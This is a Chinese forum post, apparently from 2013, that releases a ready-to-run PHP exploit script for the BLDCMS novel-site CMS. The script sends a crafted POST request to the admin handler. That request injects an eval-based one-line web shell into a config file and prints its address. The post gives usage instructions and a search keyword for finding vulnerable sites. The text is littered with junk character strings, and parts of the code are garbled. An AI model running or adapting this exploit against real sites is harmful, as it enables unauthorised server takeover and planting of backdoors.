BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
: X  j2 ?" t6 Y# Q9 x% ~

* ~) u5 K" ~6 O3 M话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
& ^7 l: q8 I- h+ z! Z5 d2 D/ L
既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
02.<!--?php
03.echo "-------------------------------------------------------------------
04.
& p- v, I) ?, ]  g( F. g05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
$ G) }* p: _2 q) T! M$ y* S07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
2 q: a9 \$ x1 J08.
$ N9 S9 d7 w, E0 f! h9 H' Y1 V9 a; v09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
& l" w% a2 |( e! {; z13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
( S' w1 `  X1 d! r# w9 g$ j15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
) U, ?) E' l5 f1 Q19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
& u9 \% ~% R4 {: P# [% I8 m21.if (emptyempty($pass)||emptyempty($url))
% O7 t' z: ?0 w: W22.{exit("请输入参数");}
23.else
. d: V1 ]4 h' g1 J- N24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
5 n6 `! q' O! W26.
27.al;
& k. L3 S  Y) J  w  |% l' g& J28.$length = strlen($fuckdata);
1 h( L! n/ S3 I$ A! y. n29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
* W* u8 o$ K0 e2 ~+ z0 M* X36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
* @# F2 ?- A1 x40.$fp = fsockopen($url, 80,$errno,$errstr,15);
" |  c1 n: T3 W; E41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
, Q3 {8 ^, N/ _' j2 p9 O( J46.{exit ("利用失败");}
47.else
48.{
49.$receive = '';
50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
5 M: B. i6 S7 s# }5 P6 M% ~# ~52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
( ~- Q" A% p" [" l; J56.GPC是否=off)";
% I) H0 T8 p7 U- K) H5 g7 t57.}}
58.}
6 f) W. W- M. O5 d0 U9 B! n6 \59.}
& ^! g! \- K2 S3 }! F60.getshell($url,$pass);
61.?-->
* d& Y4 c( V3 z  }


; Y! M% _7 f6 bby 数据流
9 r8 b& }6 G, s9 n# U